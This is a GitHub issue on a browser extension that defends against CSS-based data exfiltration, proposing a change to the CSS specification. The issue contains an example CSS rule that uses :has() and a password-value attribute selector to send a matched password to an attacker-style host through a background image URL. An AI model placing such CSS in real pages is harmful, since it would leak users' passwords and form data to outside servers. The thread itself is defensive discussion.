mlgualtieri / CSS-Exfil-Protection

Official repository for the CSS Exfil Protection browser extensions.
MIT License
149 stars 11 forks source link

Propose an amendment to the CSS spec #37

Closed Alhadis closed 2 years ago

Alhadis commented 2 years ago

If the CSS :visited leak warranted plugging at the browser level, so too should this. This is a pretty serious issue that's only going to easier to exploit once the :has() selector sees widespread support. Consider something like:

:root:has(input[type="password"][value="weakpassword123"])::after{
    content: "";
    background: url("http://l337beaconz.xyz/a.gif?weakpassword123");
}

First possible solution that comes to my mind is implementing a new CSP directive to enable CSS attribute selectors that utilise a form element's value. Rationale: there are very few sane reasons to use the literal value of a form control as part of a CSS selector, especially with the plethora of various pseudo-classes indicating validity states, etc. Users with legitimate reasons to use value attribute selectors need only update their CSP.

(This might be overkill, but I'm convinced there's room in the web standard for plugging an exploit of this calibre).

Thoughts?

mlgualtieri commented 2 years ago

Thanks for the note! Looking at the CSS rule, I think the current functionality of the plugin should block this, since at a core it's checking for an input and value assigned to it.